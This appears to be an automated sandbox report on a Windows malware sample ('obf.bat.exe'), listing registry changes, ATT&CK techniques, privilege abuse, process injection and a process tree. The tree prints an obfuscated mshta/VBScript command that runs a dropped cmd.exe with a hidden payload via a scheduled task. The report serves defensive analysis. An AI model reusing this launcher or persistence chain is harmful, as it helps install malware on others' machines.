Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 01 Jun 2026 01:57:29 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001800185A9F43BB = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000052bff57e6a76c04988198fb8d249ecc700000000020000000000106600000001000020000000ff4ddc9511a4b972fe3d01b0537d7d456d6a22dd519ce3887b626b3e9339ee52000000000e80000000020000200000003686cf35cd93091cd4aa7e0677739d1605f8ad8101fc8c9fd6a8611e97b8c75b80000000ccbfda2f29eb511c22514d90d85ef75099688070d40b48c7e9701bf0224d1a4902ba1a79f31d2b0773804162029dfb4adc2bcaad2519f386dfc1eb8739835fe502c644a2d3bfd609e8d8ec44ddfeef807f79901e080d94332a34327ace32889e943fc32e7fa474ec1a7dceb3d0d21b6143c053a84b9904931eb74cea0c000f87400000006c6dfed958f668ffef23f026652dfd1d160e3e95296847994a6ac688dfda9dd8fd63122560863005bde11d21746750aae3a03aa3819b61338d30179688b9eaa2	mousocoreworker.exe

Modifies registry class 17 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c1368e94-e7ae-4e31- = 8f02c8dc69f1dc01	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8e8e33b4-6e7c-48c7-	RuntimeBroker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c1368e94-e7ae-4e31- = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c1368e94-e7ae-4e31- = "\\\\?\\Volume{63EF4F52-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7c41237b54ba26f6310a819debfaab883628062d56e54e60d3192b2bdc54551b"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c1368e94-e7ae-4e31- = "0"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c1368e94-e7ae-4e31- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000005d09abd369f1dc01c501a3dc69f1dc01c501a3dc69f1dc01b59714000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c15c070f2000376334313233376235346261323666363331306138313964656266616162383833363238303632643536653534653630643331393262326264633534353531620000b20009000400efbec15c070fc15c070f2e00000000000000000000000000000000000000000000000000ca395b00370063003400310032003300370062003500340062006100320036006600360033003100300061003800310039006400650062006600610061006200380038003300360032003800300036003200640035003600650035003400650036003000640033003100390032006200320062006400630035003400350035003100620000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000b12907a71000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37633431323337623534626132366636333130613831396465626661616238383336323830363264353665353465363064333139326232626463353435353162000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000787766707366727700000000000000001e56a3172de2574f8267034c2969bced443c90ab1b4ff111aa2c761c4632812c1e56a3172de2574f8267034c2969bced443c90ab1b4ff111aa2c761c4632812cce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800380039003500380031003200300030002d0032003000340031003600390031003000390033002d0032003000340038003500310037003800380037002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000524fef63000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\048920f1-5dcd-4aa6-	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c1368e94-e7ae-4e31-	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c1368e94-e7ae-4e31-	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\964eec9b-05ee-4f1d-	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\089c61b2-e748-4af4-	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4406b467-d571-49bf-	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3ddae132-c5cc-4900-	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c1368e94-e7ae-4e31- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6780	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4344	obf.bat.exe
4344	obf.bat.exe
4344	obf.bat.exe
780	dllhost.exe
780	dllhost.exe
780	dllhost.exe
3616	dllhost.exe
3616	dllhost.exe
3616	dllhost.exe
3616	dllhost.exe
780	dllhost.exe
780	dllhost.exe
4344	obf.bat.exe
4344	obf.bat.exe
1628	$sxr-powershell.exe
1628	$sxr-powershell.exe
1628	$sxr-powershell.exe
1628	$sxr-powershell.exe
1628	$sxr-powershell.exe
3956	dllhost.exe
3956	dllhost.exe
5116	dllhost.exe
5116	dllhost.exe
5116	dllhost.exe
5116	dllhost.exe
3956	dllhost.exe
3956	dllhost.exe
1628	$sxr-powershell.exe
1628	$sxr-powershell.exe
4500	$sxr-powershell.exe
4500	$sxr-powershell.exe
4500	$sxr-powershell.exe
4500	$sxr-powershell.exe
4500	$sxr-powershell.exe
1628	$sxr-powershell.exe
1452	dllhost.exe
1452	dllhost.exe
4232	dllhost.exe
4232	dllhost.exe
4232	dllhost.exe
4232	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
4232	dllhost.exe
4232	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
4232	dllhost.exe
4232	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
4232	dllhost.exe
4232	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
4232	dllhost.exe
4232	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
4232	dllhost.exe
4232	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
4232	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3140	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4344	obf.bat.exe
Token: SeDebugPrivilege	4344	obf.bat.exe
Token: SeDebugPrivilege	780	dllhost.exe
Token: SeDebugPrivilege	3616	dllhost.exe
Token: SeDebugPrivilege	1628	$sxr-powershell.exe
Token: SeDebugPrivilege	1628	$sxr-powershell.exe
Token: SeDebugPrivilege	3956	dllhost.exe
Token: SeDebugPrivilege	5116	dllhost.exe
Token: SeDebugPrivilege	4500	$sxr-powershell.exe
Token: SeDebugPrivilege	1628	$sxr-powershell.exe
Token: SeDebugPrivilege	1452	dllhost.exe
Token: SeDebugPrivilege	4232	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2540	svchost.exe
Token: SeIncreaseQuotaPrivilege	2540	svchost.exe
Token: SeSecurityPrivilege	2540	svchost.exe
Token: SeTakeOwnershipPrivilege	2540	svchost.exe
Token: SeLoadDriverPrivilege	2540	svchost.exe
Token: SeSystemtimePrivilege	2540	svchost.exe
Token: SeBackupPrivilege	2540	svchost.exe
Token: SeRestorePrivilege	2540	svchost.exe
Token: SeShutdownPrivilege	2540	svchost.exe
Token: SeSystemEnvironmentPrivilege	2540	svchost.exe
Token: SeUndockPrivilege	2540	svchost.exe
Token: SeManageVolumePrivilege	2540	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2540	svchost.exe
Token: SeIncreaseQuotaPrivilege	2540	svchost.exe
Token: SeSecurityPrivilege	2540	svchost.exe
Token: SeTakeOwnershipPrivilege	2540	svchost.exe
Token: SeLoadDriverPrivilege	2540	svchost.exe
Token: SeSystemtimePrivilege	2540	svchost.exe
Token: SeBackupPrivilege	2540	svchost.exe
Token: SeRestorePrivilege	2540	svchost.exe
Token: SeShutdownPrivilege	2540	svchost.exe
Token: SeSystemEnvironmentPrivilege	2540	svchost.exe
Token: SeUndockPrivilege	2540	svchost.exe
Token: SeManageVolumePrivilege	2540	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2540	svchost.exe
Token: SeIncreaseQuotaPrivilege	2540	svchost.exe
Token: SeSecurityPrivilege	2540	svchost.exe
Token: SeTakeOwnershipPrivilege	2540	svchost.exe
Token: SeLoadDriverPrivilege	2540	svchost.exe
Token: SeSystemtimePrivilege	2540	svchost.exe
Token: SeBackupPrivilege	2540	svchost.exe
Token: SeRestorePrivilege	2540	svchost.exe
Token: SeShutdownPrivilege	2540	svchost.exe
Token: SeSystemEnvironmentPrivilege	2540	svchost.exe
Token: SeUndockPrivilege	2540	svchost.exe
Token: SeManageVolumePrivilege	2540	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2540	svchost.exe
Token: SeIncreaseQuotaPrivilege	2540	svchost.exe
Token: SeSecurityPrivilege	2540	svchost.exe
Token: SeTakeOwnershipPrivilege	2540	svchost.exe
Token: SeLoadDriverPrivilege	2540	svchost.exe
Token: SeSystemtimePrivilege	2540	svchost.exe
Token: SeBackupPrivilege	2540	svchost.exe
Token: SeRestorePrivilege	2540	svchost.exe
Token: SeShutdownPrivilege	2540	svchost.exe
Token: SeSystemEnvironmentPrivilege	2540	svchost.exe
Token: SeUndockPrivilege	2540	svchost.exe
Token: SeManageVolumePrivilege	2540	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2540	svchost.exe
Token: SeIncreaseQuotaPrivilege	2540	svchost.exe
Token: SeSecurityPrivilege	2540	svchost.exe
Token: SeTakeOwnershipPrivilege	2540	svchost.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1628	$sxr-powershell.exe
1616	Conhost.exe
5164	Conhost.exe

Suspicious use of UnmapMainImage 16 IoCs

pid	Process
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
2480	svchost.exe
3140	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4780 wrote to memory of 4344	4780	cmd.exe	90
PID 4344 wrote to memory of 780	4344	obf.bat.exe	93
PID 4344 wrote to memory of 780	4344	obf.bat.exe	93
PID 4344 wrote to memory of 780	4344	obf.bat.exe	93
PID 4344 wrote to memory of 780	4344	obf.bat.exe	93
PID 4344 wrote to memory of 780	4344	obf.bat.exe	93
PID 4344 wrote to memory of 3616	4344	obf.bat.exe	94
PID 4344 wrote to memory of 3616	4344	obf.bat.exe	94
PID 4344 wrote to memory of 3616	4344	obf.bat.exe	94
PID 4344 wrote to memory of 3616	4344	obf.bat.exe	94
PID 4344 wrote to memory of 3616	4344	obf.bat.exe	94
PID 4344 wrote to memory of 3616	4344	obf.bat.exe	94
PID 4424 wrote to memory of 4468	4424	$sxr-mshta.exe	99
PID 4468 wrote to memory of 1628	4468	$sxr-cmd.exe	101
PID 1628 wrote to memory of 3956	1628	$sxr-powershell.exe	102
PID 1628 wrote to memory of 3956	1628	$sxr-powershell.exe	102
PID 1628 wrote to memory of 3956	1628	$sxr-powershell.exe	102
PID 1628 wrote to memory of 3956	1628	$sxr-powershell.exe	102
PID 1628 wrote to memory of 3956	1628	$sxr-powershell.exe	102
PID 1628 wrote to memory of 5116	1628	$sxr-powershell.exe	103
PID 1628 wrote to memory of 5116	1628	$sxr-powershell.exe	103
PID 1628 wrote to memory of 5116	1628	$sxr-powershell.exe	103
PID 1628 wrote to memory of 5116	1628	$sxr-powershell.exe	103
PID 1628 wrote to memory of 5116	1628	$sxr-powershell.exe	103
PID 1628 wrote to memory of 5116	1628	$sxr-powershell.exe	103
PID 1628 wrote to memory of 4500	1628	$sxr-powershell.exe	104
PID 1628 wrote to memory of 1452	1628	$sxr-powershell.exe	105
PID 1628 wrote to memory of 1452	1628	$sxr-powershell.exe	105
PID 1628 wrote to memory of 1452	1628	$sxr-powershell.exe	105
PID 1628 wrote to memory of 1452	1628	$sxr-powershell.exe	105
PID 1628 wrote to memory of 1452	1628	$sxr-powershell.exe	105
PID 1628 wrote to memory of 1452	1628	$sxr-powershell.exe	105
PID 1628 wrote to memory of 4232	1628	$sxr-powershell.exe	106
PID 1628 wrote to memory of 4232	1628	$sxr-powershell.exe	106
PID 1628 wrote to memory of 4232	1628	$sxr-powershell.exe	106
PID 1628 wrote to memory of 4232	1628	$sxr-powershell.exe	106
PID 1628 wrote to memory of 4232	1628	$sxr-powershell.exe	106
PID 1628 wrote to memory of 4232	1628	$sxr-powershell.exe	106
PID 1452 wrote to memory of 620	1452	dllhost.exe	5
PID 1452 wrote to memory of 684	1452	dllhost.exe	7
PID 1452 wrote to memory of 876	1452	dllhost.exe	11
PID 1452 wrote to memory of 1012	1452	dllhost.exe	13
PID 1452 wrote to memory of 532	1452	dllhost.exe	14
PID 1452 wrote to memory of 432	1452	dllhost.exe	15
PID 1452 wrote to memory of 884	1452	dllhost.exe	16
PID 1452 wrote to memory of 1040	1452	dllhost.exe	17
PID 1452 wrote to memory of 1068	1452	dllhost.exe	18
PID 1452 wrote to memory of 1140	1452	dllhost.exe	19
PID 1452 wrote to memory of 1204	1452	dllhost.exe	21
PID 1452 wrote to memory of 1260	1452	dllhost.exe	22
PID 1452 wrote to memory of 1288	1452	dllhost.exe	23
PID 1452 wrote to memory of 1464	1452	dllhost.exe	24
PID 1452 wrote to memory of 1476	1452	dllhost.exe	25
PID 1452 wrote to memory of 1540	1452	dllhost.exe	26
PID 1452 wrote to memory of 1548	1452	dllhost.exe	27
PID 1452 wrote to memory of 1592	1452	dllhost.exe	28
PID 1452 wrote to memory of 1620	1452	dllhost.exe	29
PID 1452 wrote to memory of 1760	1452	dllhost.exe	30
PID 1452 wrote to memory of 1812	1452	dllhost.exe	31
PID 1452 wrote to memory of 1840	1452	dllhost.exe	32
PID 1452 wrote to memory of 1908	1452	dllhost.exe	33
PID 1452 wrote to memory of 1968	1452	dllhost.exe	34
PID 1452 wrote to memory of 1424	1452	dllhost.exe	35
PID 1452 wrote to memory of 2076	1452	dllhost.exe	36

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

Hidden Files and Directories

T1564.001

pid	Process
7040	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:532
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b180c2a7-b871-4f19-9e08-4ca515fe6143}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:780
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5f6c3ae2-d597-4cb1-8384-351b80daf65a}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3956
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2658e9c3-5748-4394-8ab9-27e27ebe6a5f}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1452
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c5395855-6ad2-48cd-a41e-f80b2236fcdc}
  2⤵
  PID:5652
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{9ea97f7b-6dcb-4bc5-8166-6fe9a3bd810f}
  2⤵
  PID:5188
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5052195c-cd1d-44e6-8289-4559430527e4}
  2⤵
  PID:6756
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6022e1a0-057c-45ab-ab18-1b46b779f52b}
  2⤵
  PID:5408
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 5408 -s 308
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:6472
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6782798f-edf4-4dfb-8881-1e365616d834}
  2⤵
  PID:6456
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 6456 -s 308
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:1244
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{63995253-e319-44ac-b1e4-94b0a835caf1}
  2⤵
  PID:6768

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-cd10b94a-c43f-41f1-b3b8-06f9ec5b1879 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ea347082-3210-4fbf-8c48-f2fe31b3da60 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-46ce5c3e-85c2-42c5-a138-54c375984690 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-fc2d3def-b4a7-496a-aa73-12f8da01422d -LifetimeId:c916c403-e558-4b76-807c-54f84078ee99 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1140
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3064
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-yaOohEgWtYQFlJYLbCNz4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-yaOohEgWtYQFlJYLbCNz4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:664
  - - C:\Windows\$sxr-powershell.exe
